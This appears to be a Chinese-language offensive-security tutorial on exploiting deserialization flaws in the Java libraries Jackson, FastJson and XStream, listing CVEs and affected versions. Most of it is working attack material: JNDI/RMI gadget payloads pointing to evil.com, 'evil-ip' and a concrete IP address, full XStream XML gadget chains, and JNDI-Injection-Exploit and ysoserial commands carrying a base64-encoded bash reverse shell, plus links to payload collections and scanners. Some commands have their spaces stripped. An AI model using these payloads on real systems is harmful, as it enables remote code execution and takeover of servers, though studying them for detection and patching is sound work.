服务攻防-Java组件安全数据处理FastJsonJackSonXStream自动BP插件CVE漏洞

📅 2026/7/9 13:24:30 👁️ 阅读次数 📝 编程学习
服务攻防-Java组件安全数据处理FastJsonJackSonXStream自动BP插件CVE漏洞

知识点:
服务攻防-Java组件-数据处理&FastJson&JackSon&XStream

黑盒检测:
1、Java应用
2、请求参数数据以json/xml格式发送测试
3、Content-Type: application/xml 或 json
4、报错提示到了使用的组件类名

白盒检测:直接看引用组件版本

一、演示案例-服务攻防-Java组件-数据处理&J2EE组件&JackSon

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

1、代码执行 (CVE-2020-8840)

影响版本:2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2


String json="[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/Exploit\"}]";



2、代码执行 (CVE-2020-35728)

影响版本:FasterXML jackson-databind 2.x < 2.9.10.8

String payload="[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool\",{\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]";



二、演示案例-服务攻防-Java组件-数据处理&J2EE组件&FastJson

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean

重点就是:不同版本的fastjson,不同的poc

1、FastJson <= 1.2.24




{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/TouchFile","autoCommit":true}}

2、FastJson <= 1.2.47


{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/Exploit","autoCommit":true}}

3、FastJson <= 1.2.80(利用条件比较苛刻)

利用poc只能用源码项目中调用的第三方库或者组件(类)等。




在实战中,获取目标项目源码后看下调用的第三方库或者组件有哪些,然后在利用poc项目去找对应的POC去测试看看(机会不大)。

利用POC:https://github.com/kezibei/fastjson_payload(该项目是针对不同环境的)

4、核心点

-利用POC集合 https://github.com/kezibei/fastjson_payload https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w -探针JSON插件 https://github.com/Tsojan/TsojanScan https://github.com/Maskhe/FastjsonScan https://github.com/pmiaowu/BurpFastJsonScan https://github.com/Niiiiko/FastjsonScan4Burp -拓展版靶场复现 https://github.com/lemono0/FastJsonParty

三、演示案例-服务攻防-Java组件-数据处理&J2EE组件&XStream

开源Java类库,能将对象序列化成XMLXML反序列化为对象。

1、代码执行 (CVE-2021-21351)


影响版本:Xstream<=1.4.15

生成反弹ShellJNDI注入

java-jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar-C"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"-A47.94.236.117



构造JNDI注入PayloadPOST方式提交。

<sorted-set><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><valueclass='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'><m__DTMXRTreeFrag><m__dtmclass='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'><m__size>-10086</m__size><m__mgrDefault><__overrideDefaultParser>false</__overrideDefaultParser><m__incremental>false</m__incremental><m__source__location>false</m__source__location><m__dtms><null/></m__dtms><m__defaultHandler/></m__mgrDefault><m__shouldStripWS>false</m__shouldStripWS><m__indexing>false</m__indexing><m__incrementalSAXSourceclass='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'><fPullParserConfigclass='com.sun.rowset.JdbcRowSetImpl'serialization='custom'><javax.sql.rowset.BaseRowSet><default><concurrency>1008</concurrency><escapeProcessing>true</escapeProcessing><fetchDir>1000</fetchDir><fetchSize>0</fetchSize><isolation>2</isolation><maxFieldSize>0</maxFieldSize><maxRows>0</maxRows><queryTimeout>0</queryTimeout><readOnly>true</readOnly><rowSetType>1004</rowSetType><showDeleted>false</showDeleted><dataSource>rmi://evil-ip:1099/example</dataSource><listeners/><params/></default></javax.sql.rowset.BaseRowSet><com.sun.rowset.JdbcRowSetImpl><default/></com.sun.rowset.JdbcRowSetImpl></fPullParserConfig><fConfigSetInput><class>com.sun.rowset.JdbcRowSetImpl</class><name>setAutoCommit</name><parameter-types><class>boolean</class></parameter-types></fConfigSetInput><fConfigParsereference='../fConfigSetInput'/><fParseInProgress>false</fParseInProgress></m__incrementalSAXSource><m__walker><nextIsRaw>false</nextIsRaw></m__walker><m__endDocumentOccured>false</m__endDocumentOccured><m__idAttributes/><m__textPendingStart>-1</m__textPendingStart><m__useSourceLocationProperty>false</m__useSourceLocationProperty><m__pastFirstElement>false</m__pastFirstElement></m__dtm><m__dtmIdentity>1</m__dtmIdentity></m__DTMXRTreeFrag><m__dtmRoot>1</m__dtmRoot><m__allowRelease>false</m__allowRelease></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>ysomap</type><valueclass='com.sun.org.apache.xpath.internal.objects.XString'><m__objclass='string'>test</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry></sorted-set>


2、代码执行 (CVE-2021-29505)

影响版本:XStream <= 1.4.16

生成反弹Shell的反序列化JNDI注入

java-cpysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener1099CommonsCollections6"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}"



构造反序列化JNDI注入PayloadPOST方式提交

<java.util.PriorityQueueserialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><valueclass='com.sun.org.apache.xpath.internal.objects.XString'><m__objclass='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><valueclass='com.sun.xml.internal.ws.api.message.Packet'serialization='custom'><messageclass='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><smclass='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIterclass='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliasesclass='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidatesclass='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registryclass='sun.rmi.registry.RegistryImpl_Stub'serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>evil-ip</string><int>1099</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>evil-ip</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue></java.util.PriorityQueue>